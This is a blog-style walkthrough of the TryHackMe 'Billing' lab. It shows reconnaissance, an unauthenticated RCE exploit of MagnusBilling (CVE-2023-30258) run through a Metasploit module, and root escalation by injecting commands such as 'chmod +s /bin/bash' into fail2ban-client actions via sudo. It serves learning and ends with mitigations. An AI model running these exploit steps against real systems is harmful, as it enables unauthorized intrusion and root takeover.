Skip to main content
  1. Posts/

TryHackMe: Billing Walkthrough

·802 words·4 mins· loading · loading · ·
CTF Writeups TryHackMe TryHackMe CTF Billing Linux Enumeration Walkthrough
kelvin kiplagat
Author
kelvin kiplagat
Cyber Security Analyst | Threat intelligence analyst | Linux administrator | Information Security | IT Risk & Governance | IT Service management | Incident management

TryHackMe Billing Room Walkthrough Deep Dive into MagnusBilling Exploitation and Privilege Escalation
#

The TryHackMe “Billing” room is referred to as easy but it took me days to break through. I had to revisit core fundamentals, especially how Fail2Ban operates, and gain a hands-on understanding of how service misconfigurations can lead to privilege escalation. Here’s a detailed step-by-step breakdown of my journey, complete with code explanations for future reuse.

Step 1: Initial Reconnaissance
#

i started with nmap scanning and went a head for a full nmaps scan

nmap -sC -sV -p- -oN full-scan.txt 10.10.41.56

image.png

Step 2: Testing Port 22 (SSH)
#

To confirm SSH was live and responding:

nc -nv 10.10.41.56 22

image.png

This outputs the SSH banner, confirming the version and the fact that SSH is running. However, since we didn’t have login credentials and no known vulnerability matched this SSH version, we couldn’t exploit it directly.

Conclusion: Port 22 is active but not exploitable without creds or private keys.

Step 3: Web Application Enumeration (Port 80)
#

Check robots.txt:
#

curl http://10.10.41.56/robots.txt

image.png

Result: Revealed /mbilling the MagnusBilling login page.

went ahead and clicked the link

Requested resource was http://10.10.41.56/mbilling/

and there was nothing here:

image.png

Directory Bruteforcing:
#

I used Gobuster to enumerate hidden files and directories.

gobuster dir -u http://10.10.41.56 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt,log

image.png

Findings: Found log files and index.php, but nothing immediately exploitable.

  • htaccess.htpasswd (Restricted access)
  • Log files: akeeba.backend.logserver-statusproduction.log
  • index.php (Indicating a PHP-based backend)
  • MagnusBilling login page found at /mbilling/

Conclusion: The real lead was the /mbilling directory pointing to a known application.


Findings:

PortServiceNotes
22SSH (OpenSSH 8.4p1)Open, but we have no credentials.
80HTTP (Apache 2.4.56)Hosts MagnusBilling Web App.
3306MySQL (MariaDB)Requires authentication; no creds found.

#

Step 4: Exploiting MagnusBilling — CVE-2023-30258
#

After identifying the MagnusBilling version, I searched for public exploits and found this unauthenticated remote code execution (RCE) vulnerability:

🔗  CVE-2023–30258

image.png

under CVE the classification it allows remote attacker to run a command via unauthenticated HTTP request.

Launch Metasploit:
#

search magnusbilling
use exploit/linux/http/magnusbilling_unauth_rce_cve_2023_30258
set RHOSTS billing.thm
set LHOST tun0
exploit

Outcome: Got a shell as asterisk user.

search magnusbilling

image.png

2.use exploit/linux/http/magnusbilling_unauth_rce_cve_2023_30258

image.png

  1. set RHOSTS billing.thm set LHOST tun0 exploit

image.png

  1. cd /home /magnus

image.png

  1. cat user.txt(The user.txt file is at the end. Let’s read it:)

image.png

When we look at the commands that can be run with sudo privileges without requiring a password, we come across an interesting entry: “fail2ban-client.”

what is Fail2Ban?

Fail2Ban is an open-source security software that monitors log files of services such as SSH, FTP, and HTTP on Linux and Unix-based systems to detect unauthorized access attempts like brute-force attacks and blocks suspicious IP addresses.

image.png

Step 5: Privilege Escalation via Fail2Ban Misconfiguration
#

Check sudo permissions:
#

sudo -l is a powerful Linux command used to list all the commands a user is allowed (or not allowed) to run using sudo, which is crucial during privilege escalation in red teaming or CTFs.

We have transitioned to the Meterpreter shell. Now, let’s navigate through the system to find the possible user.txt file:

sudo -l

image.png

Output:

(ALL) NOPASSWD: /usr/bin/fail2ban-client

This meant we could run fail2ban-client as root without providing a password.

What is Fail2Ban?
#

Fail2Ban is an intrusion prevention framework that scans log files and bans IPs showing malicious signs. It uses actionban commands to apply bans these are executed with root privileges.

Step 6: Abusing Fail2Ban for Root Access
#

If we check the status of fail2ban-client, we see 8 jails (configurations)

image.png

We inject a command into Fail2Ban to copy the root flag to a readable location:

sudo /usr/bin/fail2ban-client set sshd action iptables-multiport actionban "/bin/bash -c 'cat /root/root.txt > /tmp/flag.txt && chmod 777 /tmp/flag.txt'"
sudo /usr/bin/fail2ban-client set sshd banip 127.0.0.1
cat /tmp/flag.txt
asterisk@Billing$ sudo /usr/bin/fail2ban-client status
Status
|- Number of jail:      8
`- Jail list:   ast-cli-attck, ast-hgc-200, asterisk-iptables, asterisk-manager, ip-blacklist, mbilling_ddos, mbilling_login, sshd
asterisk@Billing$ sudo /usr/bin/fail2ban-client get asterisk-iptables  actions
The jail asterisk-iptables has the following actions:
iptables-allports-ASTERISK
asterisk@Billing$ sudo /usr/bin/fail2ban-client set asterisk-iptables addaction evil
evil
asterisk@Billing$ sudo /usr/bin/fail2ban-client set asterisk-iptables action evil actionban "chmod +s /bin/bash"
chmod +s /bin/bash
asterisk@Billing$ sudo /usr/bin/fail2ban-client set asterisk-iptables banip 1.2.3.5
1
asterisk@Billing$ /bin/bash -p
bash-5.1# cat /root/root.txt
THM{REDACTED}
  • actionban is overridden with a command that reads the root flag.
  • Triggered using banip on localhost to execute the payload.

Root flag obtained.

This gives a persistent root shell.

#

Mitigation Recommendations
#

  • Update MagnusBilling to a secure, patched version.
  • Restrict sudo permissions to trusted commands only.
  • Isolate unnecessary services (SSH, MySQL) from public networks.

Final Thoughts
#

This room sharpened my skills in:

  • Enumerating services thoroughly.
  • Recognizing known software and researching public exploits.
  • Abusing defensive tools like Fail2Ban for privilege escalation.

More than just capturing a flag, this exercise taught me how attackers think and how defenders must anticipate these creative attack paths.

Stay curious. Hack smart. Harden everything.

Related

OverTheWire: Bandit Walkthrough (Levels 0–34)
·1827 words·9 mins· loading · loading
CTF Writeups OverTheWire OverTheWire Bandit CTF Linux Beginner Walkthrough
OverTheWire Bandit Writeup (Level 0 to 15) # If you’re starting with cybersecurity, OverTheWire’s Bandit is a great place to learn.
OhSINT Challenge Walkthrough: OSINT Investigation
·912 words·5 mins· loading · loading
Challenges Cybersecurity TryHackMe OSINT TryHackMe Cybersecurity ExifTool Burp Suite
#🕵️‍♂️ TryHackMe: OhSINT — My OSINT Investigation Walkthrough
Vulnversity
·1123 words·6 mins· loading · loading
Cybersecurity Penetration Testing Capture the Flag Cybersecurity Penetration Testing CTF Privilege Escalation Enumeration Metasploit Nmap
A walkthrough of the ‘Vulnversity’ CTF challenge, covering enumeration, exploitation, and privilege escalation.